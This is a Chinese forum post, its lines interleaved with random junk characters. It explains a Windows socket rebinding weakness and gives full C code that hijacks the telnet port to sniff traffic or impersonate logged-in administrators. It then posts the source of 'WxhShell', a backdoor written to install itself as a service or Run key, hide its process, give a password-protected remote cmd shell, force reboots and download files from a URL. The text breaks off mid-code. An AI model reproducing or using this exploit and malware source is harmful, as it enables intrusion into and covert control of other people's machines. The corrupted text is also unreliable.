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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 1`}fbX;"m)  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =Hx~]1  
R^2Uh$kk{A  
  saddr.sin_family = AF_INET; 5"gRz9Ta`  
p;7 4 +q  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); #PrV)en  
~4>Xi* B  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); R|CY4G j  
vl5n%m H>^  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 QB.'8B_  
9kF#*  
  这意味着什么?意味着可以进行如下的攻击:  `JE>GZ Y  
38m%ifh)  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 NDOZ!`LqH  
) *A,L%  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Ij #a  
@gqw]_W  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 "pZ3  
{IMzR'PN  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ZmULy;{<)  
baNfS  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7RP_ ^Cr+  
N-rm k  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 & .?HuK  
2Z O'X9  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 HLe^|  
VU/W~gb4"A  
  #include Q@2tT&eL  
  #include ~}5Ml_J$,l  
  #include x}.d`=  
  #include    lk +K+Ra/  
  DWORD WINAPI ClientThread(LPVOID lpParam);   e9W7ke E*  
  int main() N}Ks[2  
  { d# 3tQ*G/  
  WORD wVersionRequested; S/-7Zo&w+  
  DWORD ret; 4*vas]  
  WSADATA wsaData; ,0Zn hS)kq  
  BOOL val; Ys$YI{  
  SOCKADDR_IN saddr; O|Ic[XfLx  
  SOCKADDR_IN scaddr; QWHy=(!  
  int err; qu ~|d}0  
  SOCKET s; VK'T[5e  
  SOCKET sc; $a^isd4  
  int caddsize; "F"_G  
  HANDLE mt; cIr1"5POXK  
  DWORD tid;   jBv$^L  
  wVersionRequested = MAKEWORD( 2, 2 ); *>'2$me=  
  err = WSAStartup( wVersionRequested, &wsaData ); JYd7@Msfc  
  if ( err != 0 ) { 9*KMbd ^T  
  printf("error!WSAStartup failed!\n"); ~u0xXfv#  
  return -1; % kx ^/DH  
  } HB7(  
  saddr.sin_family = AF_INET; ^MT9n  
   P;[Y42\z|  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 yvz?4m"_yB  
_~[?> cF%  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ^$IZLM?E~  
  saddr.sin_port = htons(23); _E6} XNS  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) h4anr7g{  
  { sc8DY!|OYN  
  printf("error!socket failed!\n"); ~*!u  
  return -1; MdH97L)L.0  
  } 0[lsoYUq  
  val = TRUE; VI24+h'J  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 HmExfW  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %)axGbZG;  
  { \V^*44+ <!  
  printf("error!setsockopt failed!\n"); _(6`{PWY  
  return -1; >{m2E8U0  
  } rKzlK 'U  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; nG"n-$A?<  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 L}W1*L$;<  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 YZGS-+  
\&iil =H8!  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) mP pvZ  
  { 1OJ*wI*  
  ret=GetLastError(); JoCA{Fa}  
  printf("error!bind failed!\n"); :p<kQ4   
  return -1; )'5<6Q.]  
  } rLJ[FqS  
  listen(s,2); [5Fd P0  
  while(1) hCM8/Vvx6  
  { 94|yvh.B  
  caddsize = sizeof(scaddr); u 1ZJHry  
  //接受连接请求 5VR.o!h3I  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ptpW41t}^  
  if(sc!=INVALID_SOCKET) {'h_'Y`bOQ  
  { YwL`>?  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); zF5q=9 4$  
  if(mt==NULL) [ -ISR7D  
  { 7DtIVMiK  
  printf("Thread Creat Failed!\n"); M8';%  =@  
  break; ( 0i'Nb"  
  } 9Ct_$.Q .  
  } 1^C|k(t  
  CloseHandle(mt); o+<29o  
  } dv;9QCc'  
  closesocket(s); AnNP Ti  
  WSACleanup(); z%V*K  
  return 0; #{!O,`qD  
  }   sV u k  
  DWORD WINAPI ClientThread(LPVOID lpParam) iTh xVD  
  { }YQ:6I  
  SOCKET ss = (SOCKET)lpParam; 7*i }km  
  SOCKET sc; .f>,6?   
  unsigned char buf[4096]; JO2xT#V  
  SOCKADDR_IN saddr; E0QPE5_  
  long num; 0p-#f|ET  
  DWORD val; |rMq;Rgu?  
  DWORD ret; ~r<p@k=.#0  
  //如果是隐藏端口应用的话,可以在此处加一些判断 =7 VCtd/  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   nfX12y_SXL  
  saddr.sin_family = AF_INET; tBseqS3<  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Ik j=`,a2B  
  saddr.sin_port = htons(23); *>k!hq;j  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ic-IN~J-  
  { f =o4I2Y[  
  printf("error!socket failed!\n"); #{x5L^v>]  
  return -1; XA1f' Kk  
  } -#aZF2z   
  val = 100; 9? 2  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) D`Gt  
  { P-'_}*wxi  
  ret = GetLastError(); 3_W{T@T  
  return -1; tMFsA`ng  
  } WfG(JJ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) j0FW8!!-g  
  { %cX"#+e  
  ret = GetLastError(); VD$ Eb  
  return -1; ` W4dx&  
  } Jx$iwu  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) B'}"AC"  
  { 0|XKd24BN  
  printf("error!socket connect failed!\n"); n'K6vW3  
  closesocket(sc); DyfsTx  
  closesocket(ss); 6tn+m54_  
  return -1; \dcdw* v@  
  } cy|%sf`  
  while(1) }>}1oUCi  
  { "MnSJ 2  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 5& !'^!  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Es.nHN^]%K  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 c@R; /m:R  
  num = recv(ss,buf,4096,0); YEv Lhh  
  if(num>0) )(m0cP{7  
  send(sc,buf,num,0); gnLn7?  
  else if(num==0) qu~X.pW  
  break; lb~E0U`\E`  
  num = recv(sc,buf,4096,0); rk|@B{CA;  
  if(num>0) XErUS80  
  send(ss,buf,num,0); >(3\k iYS  
  else if(num==0) "DQ'C%sL9  
  break; r:&|vP  
  } @{d\j]Nw  
  closesocket(ss); 8TWTbQ  
  closesocket(sc); 9+qOP>m   
  return 0 ; \+nGOvM  
  } OgCy4_a[f  
M#,Q ^rH#  
}Qr6 l/2  
========================================================== OH6^GPF6  
GABQUmtH  
下边附上一个代码,,WXhSHELL YF[f Z  
Yr+23Ro  
========================================================== @T:fa J5\'  
`tEo]p  
#include "stdafx.h" UiQEJXwnz  
?+2b(2&MXE  
#include <stdio.h> UMMB0(0D  
#include <string.h> < <Y}~N  
#include <windows.h> 0g=`DSC<(  
#include <winsock2.h> sZhM a>  
#include <winsvc.h> T~xwo  
#include <urlmon.h> ?j O 5 9n  
%.HJK  
#pragma comment (lib, "Ws2_32.lib") T:iP="?{  
#pragma comment (lib, "urlmon.lib") v?:: |{  
9X}I>  
#define MAX_USER   100 // 最大客户端连接数 `>lzlEhKV  
#define BUF_SOCK   200 // sock buffer HU;#XU1  
#define KEY_BUFF   255 // 输入 buffer #{J,kcxS  
;xYNX  
#define REBOOT     0   // 重启 /JJw 6[ N  
#define SHUTDOWN   1   // 关机 JXqr3 Np1  
FMw&(  
#define DEF_PORT   5000 // 监听端口 3=0E!e  
_D, ;MB&7  
#define REG_LEN     16   // 注册表键长度 ]j<Bo4~Il  
#define SVC_LEN     80   // NT服务名长度 5F"|E-;  
3_$w| ET  
// 从dll定义API tY|8s]{2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); P9Q~r<7n  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); v-b0\_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z|lU8`'5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); c=O,;lWFqm  
=EP13J  
// wxhshell配置信息 <Zb/  
struct WSCFG { )cJ#-M2  
  int ws_port;         // 监听端口 ,:2'YB  
  char ws_passstr[REG_LEN]; // 口令 ;,h/   
  int ws_autoins;       // 安装标记, 1=yes 0=no <UP m=Hb  
  char ws_regname[REG_LEN]; // 注册表键名 \nNXxTxX!  
  char ws_svcname[REG_LEN]; // 服务名 X2sHE  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2}6%qgnT-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1c4/}3*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s ^Nw%KAv  
int ws_downexe;       // 下载执行标记, 1=yes 0=no hwYQGtjF  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" sic"pn],U  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 gV;H6"  
Vv.r8IGYm  
}; /6uT6G+(z}  
'@|_OmcY  
// default Wxhshell configuration CqMhk  
struct WSCFG wscfg={DEF_PORT, n: ui  
    "xuhuanlingzhe", Rd \.:u  
    1, IY'=DePd  
    "Wxhshell",  fE f_F r  
    "Wxhshell", Rk<@?(l!6x  
            "WxhShell Service", 5zJj]A  
    "Wrsky Windows CmdShell Service", 96cJ8I8  
    "Please Input Your Password: ",  5^<h}u9  
  1, ia&AW  
  "http://www.wrsky.com/wxhshell.exe", jd]s<C3o  
  "Wxhshell.exe" 2"P 99$"  
    }; 'VyM{:8  
{R<Ea @LV+  
// 消息定义模块 u-D dq~;|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ei}/iBG@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; : JzI>/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; GcIDG`RX  
char *msg_ws_ext="\n\rExit."; l:0s2  
char *msg_ws_end="\n\rQuit."; k(>h^  
char *msg_ws_boot="\n\rReboot..."; ,[S+T.Cu  
char *msg_ws_poff="\n\rShutdown..."; /tV/85r  
char *msg_ws_down="\n\rSave to "; O<PO^pi  
]xC#rwHUC  
char *msg_ws_err="\n\rErr!"; j Uv!9Y}F  
char *msg_ws_ok="\n\rOK!"; `g8E1-]l  
geQ{EwO8n  
char ExeFile[MAX_PATH]; Wt)Drv{@ {  
int nUser = 0; h5%<+D<  
HANDLE handles[MAX_USER]; fbyQjvURnC  
int OsIsNt; {2/LRPT  
_{t9 x\=  
SERVICE_STATUS       serviceStatus; H9h@sSg  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {FRAv(,\  
:q8b;*:  
// 函数声明 Wcb7 ;~K  
int Install(void); [Vd[-  
int Uninstall(void); gmIqT f  
int DownloadFile(char *sURL, SOCKET wsh); u p.Q>28r  
int Boot(int flag); s]mo$ _na  
void HideProc(void); bCref$|  
int GetOsVer(void); 8^Hn"v  
int Wxhshell(SOCKET wsl); A+y  
void TalkWithClient(void *cs); 7g R@$(1Z  
int CmdShell(SOCKET sock); o,U9}_|A  
int StartFromService(void); ]| N3eu  
int StartWxhshell(LPSTR lpCmdLine); ,Y 3W?  
S3L~~X/=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wi9DhVvc 0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); KIR'$ 6pn~  
u6`=x$&  
// 数据结构和表定义 : ^ 8  
SERVICE_TABLE_ENTRY DispatchTable[] = c/B'jPt  
{ bSVlk`  
{wscfg.ws_svcname, NTServiceMain}, '9c2Q/  
{NULL, NULL} Bo<>e~6P  
}; 2o>)7^9|#<  
lKEkXO  
// 自我安装 WL`9~S  
int Install(void) aM7uBx\8 5  
{ dt~YW  
  char svExeFile[MAX_PATH]; #gm)dRKm%  
  HKEY key; ?"z]A7<Hj  
  strcpy(svExeFile,ExeFile); piU /&  
h3T9"w[  
// 如果是win9x系统,修改注册表设为自启动 \rVQQ|l   
if(!OsIsNt) { L`th7d"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^$&k5e/}C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _fZZ_0\Q  
  RegCloseKey(key); iCHt1VV]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FQ>`{%>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6U^\{<h_c  
  RegCloseKey(key); TYI7<-Mp:[  
  return 0; {EdH$l>94  
    } Y?ez9o:/#  
  } S(\9T1DVe  
} C/(M"j M  
else { XQ4G)  
0\2\*I}?  
// 如果是NT以上系统,安装为系统服务 l2;CQ7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); M-i_#EWP  
if (schSCManager!=0) *xp\4;B  
{ bFA!=uvA  
  SC_HANDLE schService = CreateService ' oF xR003  
  ( ~tOAT;g}q  
  schSCManager, o[H{(f 1%  
  wscfg.ws_svcname, 5=e@d:Sz  
  wscfg.ws_svcdisp, y>*xVK{D  
  SERVICE_ALL_ACCESS, "_2Ng<2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8u!"#S#>a  
  SERVICE_AUTO_START, s}pIk.4ot!  
  SERVICE_ERROR_NORMAL, MLFKH  
  svExeFile, w&xDOyW]  
  NULL, !~Q2|r  
  NULL, au,t%8AC  
  NULL, Agrp(i"\@  
  NULL, @y31NH(  
  NULL @-OnHE  
  ); GWvH[0  
  if (schService!=0) ^!q?vo\j|  
  { G<M:Ak+~  
  CloseServiceHandle(schService); h[Gg}N!  
  CloseServiceHandle(schSCManager); i|1^+;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); X*,Kb(3   
  strcat(svExeFile,wscfg.ws_svcname); Qv-@Zt!8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { vky.^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Kt0(gQOr0  
  RegCloseKey(key); w>b-} t  
  return 0; TNJG#8n%Y  
    } )/t?!T.[  
  } gl).cIpw  
  CloseServiceHandle(schSCManager); eSW{Cb  
} Mkq( T[)  
} l|5fE1K9U  
H~ u[3LQz  
return 1; mw5?[@G-  
} >[6{LAe~hp  
CkswJ:z)sc  
// 自我卸载 ~H6r.:]  
int Uninstall(void) ; O<9|?  
{ id?h>g  
  HKEY key; tTU=+*Io  
jmg!Ml  
if(!OsIsNt) { F]O$(7*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f3|@|' ;  
  RegDeleteValue(key,wscfg.ws_regname);  )J?{+3  
  RegCloseKey(key); -R>}u'EG>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #Km:}=  
  RegDeleteValue(key,wscfg.ws_regname); ,YhdY 6  
  RegCloseKey(key); N$[$;Fm:  
  return 0; -uh(?])H  
  } ~afg)[(  
} XhsTT2B   
} KN"S?i]X  
else { nL:SG{7  
N8`?t5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^t7x84jhL  
if (schSCManager!=0) 8>/Q1(q0  
{ 4d:{HLX,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Z!0]/mCE8  
  if (schService!=0) V<HU6w  
  { U:F/ iXz  
  if(DeleteService(schService)!=0) { +\Q?w?DE|  
  CloseServiceHandle(schService); Quf_'  
  CloseServiceHandle(schSCManager); ^`f*'Z  
  return 0; {YUIMd!Y  
  } oUQ07z\C  
  CloseServiceHandle(schService); #"fJa:IYG7  
  } Yl;^ k0ZI  
  CloseServiceHandle(schSCManager); PCnQ_A-Q  
} p$7#}s  
} >+5?F*`\D*  
V#ev-\k}@  
return 1; ,&U4a1%i#c  
} rwIe qV{:  
[#YE^[*qK  
// 从指定url下载文件 )rLMIk  
int DownloadFile(char *sURL, SOCKET wsh) *c[2C  
{ ~7!7\i,Y8\  
  HRESULT hr; <\zCpkZ'B  
char seps[]= "/"; >\ST-7[^L  
char *token; l8K5k:XCU3  
char *file; JN6-Z2  
char myURL[MAX_PATH]; P\CDd=yWc  
char myFILE[MAX_PATH]; G1 o70  
NvjJ b-u  
strcpy(myURL,sURL); Ch )dLPz@  
  token=strtok(myURL,seps); \RQ='/H*  
  while(token!=NULL) iA_8(Yo  
  { >Q,zNs  
    file=token; Pag63njg?  
  token=strtok(NULL,seps); <*H^(0  
  } ZWV|# c<G  
U-wLt(Y<  
GetCurrentDirectory(MAX_PATH,myFILE); O?EB8RB  
strcat(myFILE, "\\"); N^VD=<#T  
strcat(myFILE, file); Q-rL$%~='  
  send(wsh,myFILE,strlen(myFILE),0); HEqWoV]{d  
send(wsh,"...",3,0); PZ8U6K'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Bqws!RM'&@  
  if(hr==S_OK) m xw dugr`  
return 0; o-7>eE}+  
else IGX:H)&*  
return 1; ,G^[o,hS  
~fz[x9\  
} %,b X/!  
l^NC]t  
// 系统电源模块 O\;=V`z-  
int Boot(int flag) !/K8xD$  
{ 0@1:M  
  HANDLE hToken; C-P06Q]  
  TOKEN_PRIVILEGES tkp; bAxTLIf  
LE?u`i,e=+  
  if(OsIsNt) { -U2mfW  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); T#:F]=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); V9x8R  
    tkp.PrivilegeCount = 1; 2^exL h  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k7_I$ <YDj  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %R0v5=2'  
if(flag==REBOOT) { D1,O:+[;.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) IKvBf'%-  
  return 0; go)p%}s  
} ?BCy J  
else { Tc ZnmN  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {7Cx#Ewd  
  return 0; hN`gB#N3  
} `0BdMKjA  
  } Ri:p8  
  else { OsW"CF2  
if(flag==REBOOT) { MQcE6)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) hQh9ok8S  
  return 0; i8V0Ty4~N  
} m^!Sv?hV  
else { [h}K$q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) UFZ"C,  
  return 0; % mn />  
} _^uc 0=  
} <4F7@q, V  
cV$lobqO  
return 1; &>}.RX]t  
} I"!'AI-  
*Jnh";~b  
// win9x进程隐藏模块 5]"BRn1*  
void HideProc(void) <A~GW 'HB  
{ iV)ac\  
gn5% F5W  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); i^%-aBZ  
  if ( hKernel != NULL ) .K9l*-e[=  
  { ?M&4pO&Y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (-(*XNC  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); NXgRNca  
    FreeLibrary(hKernel); u7k|7e=xk  
  } ?R?Grw)`H  
me./o(!?  
return; \.>.c g  
} )*[ ""&  
R`He^  
// 获取操作系统版本 }K8Lm-.=  
int GetOsVer(void) [,7-w  
{ O_CT+Ou  
  OSVERSIONINFO winfo; '0Zm#g  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); a>b8- j=J  
  GetVersionEx(&winfo); w`#fH  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) kME^tpji  
  return 1; 6GOg_P  
  else ^gm>!-Gx  
  return 0; h*'d;_(,  
} ~L){O*Z  
[2H[5<tH  
// 客户端句柄模块 v |ifI  
int Wxhshell(SOCKET wsl) F!R2_89iy  
{ 0ny{)Sd6um  
  SOCKET wsh; *tG11gR,&  
  struct sockaddr_in client; p"KV*D9b  
  DWORD myID; e`ex]py<C  
$nFAu}%C  
  while(nUser<MAX_USER) U?EG6t  
{ I7bi@t  
  int nSize=sizeof(client); VKf6|ae  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); poY8 )2  
  if(wsh==INVALID_SOCKET) return 1; wi BuEaUkW  
pE(sV{PD  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); r]-+bR  
if(handles[nUser]==0) -R74/GBg  
  closesocket(wsh); !=knppY  
else t[j9R#02?  
  nUser++; ~,G]glu8  
  } }#|2z}!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }+JLn%H)  
]gHLcr3  
  return 0; h {H]xe[Q  
} D9G0k[D,  
[$oM  
// 关闭 socket :W%4*-FP  
void CloseIt(SOCKET wsh) 6,zDBax  
{ D zE E:&*=  
closesocket(wsh); ]eD[4Y\#t  
nUser--; Y}ky/?q  
ExitThread(0); YOlH*cZtg  
} 4zwif&  
@M9_j{A  
// 客户端请求句柄 ) _ #T c  
void TalkWithClient(void *cs) ',%5mF3j  
{ s1v{~xP  
3} l;  
  SOCKET wsh=(SOCKET)cs; CCy .  
  char pwd[SVC_LEN]; >7W"giWP  
  char cmd[KEY_BUFF]; #W.bZ]&WA  
char chr[1]; nT)~w s  
int i,j; }:"R-s  
iAg}pwU  
  while (nUser < MAX_USER) { %va[jJ  
w zdxw$E  
if(wscfg.ws_passstr) { pM,#wYL  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lej^gxj/2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Us*Vn  
  //ZeroMemory(pwd,KEY_BUFF); EyzY2>"^  
      i=0; \:C%> .VG  
  while(i<SVC_LEN) { $F<%Jl7_Z  
@RQ+JYQi  
  // 设置超时 >&g2 IvDS  
  fd_set FdRead; *pY/5? g  
  struct timeval TimeOut; '\4c "Ho  
  FD_ZERO(&FdRead); Xk;Uk[  
  FD_SET(wsh,&FdRead); [ +yGDMLs  
  TimeOut.tv_sec=8; I<IC-k"Y  
  TimeOut.tv_usec=0; 7Z9.z 4\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); n&3iz05}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]U#JsMS  
Al)lWD}j2g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @<0h"i x  
  pwd=chr[0]; l A 0-?k  
  if(chr[0]==0xd || chr[0]==0xa) { o$*bm6o  
  pwd=0; RT1{+:l  
  break; OA\vT${5  
  } r{bgTG  
  i++; 8Ix -i  
    } <aD'$(N5  
D:+)uX}MOf  
  // 如果是非法用户,关闭 socket x;<oaT$X  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 't||F1X~J  
} (K!M*d+  
HCI'q\\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Vf@S8H  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Cmp{FN"o  
]t8{)r  
while(1) { g/fp45s  
i7Y s_8A"9  
  ZeroMemory(cmd,KEY_BUFF); y8Ei=[  
v)wY  
      // 自动支持客户端 telnet标准   oHv{Y  
  j=0; *##QXyyg  
  while(j<KEY_BUFF) { 9/@FADh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,<R>Hiwg/s  
  cmd[j]=chr[0]; &ryl$!!3H  
  if(chr[0]==0xa || chr[0]==0xd) { PT 0Qzg  
  cmd[j]=0; 3sd{AkD^  
  break; B<vvsp\X  
  } \ SoYx5lf  
  j++; (,d4"C  
    } bW,BhUb,|  
::^qy^n  
  // 下载文件 iX0]g45o  
  if(strstr(cmd,"http://")) { lo IL{2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ngm O0H  
  if(DownloadFile(cmd,wsh)) c+)36/; X  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "t3uW6&  
  else 'qD'PLV  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^+.+I cH  
  } =rf )yp-D  
  else { b<29wL1  
s= -WB0E  
    switch(cmd[0]) { e>ZbZy?  
  0{^l2?mgSb  
  // 帮助 yhw:xg_;Kz  
  case '?': { 02]8|B(E90  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .P |+oYT&g  
    break; jWO&SWso  
  } 8M".o n  
  // 安装 "Gi+zkVm  
  case 'i': { t ?Njw7  
    if(Install()) &k%wOz1vM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )eTnR:=  
    else )sY$\^'WY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZYl-p]\*y  
    break; cAsSN.HFS  
    } 1%]{0P0?[  
  // 卸载 W_e-7=6  
  case 'r': { vMW-gk  
    if(Uninstall()) ]XpU'/h>q;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :3E8`q~c1  
    else b}EYNCw_7S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ino7!T`  
    break; qw Kh,[]  
    } R"8})a gw  
  // 显示 wxhshell 所在路径 ~PH1|h6  
  case 'p': { m\}\RnZu  
    char svExeFile[MAX_PATH]; .LGkr@P  
    strcpy(svExeFile,"\n\r"); )P(d66yq'u  
      strcat(svExeFile,ExeFile); '%eaK_+7  
        send(wsh,svExeFile,strlen(svExeFile),0); JJbM)B@-  
    break; fO^EMy\  
    } v0H>iKh7  
  // 重启 EkgN6S`}  
  case 'b': { ,pGCgOG#}c  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [w#x5Xsn  
    if(Boot(REBOOT)) J~yd]L>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j .yr 5%  
    else { 644hQW&W  
    closesocket(wsh); 6wvhvMkS  
    ExitThread(0); 0F;(_2V-  
    } 61eKGcjs:  
    break; |]]pHC_/W  
    } Um0<I)  
  // 关机 S#%JSQo:  
  case 'd': { 1+PNy d  
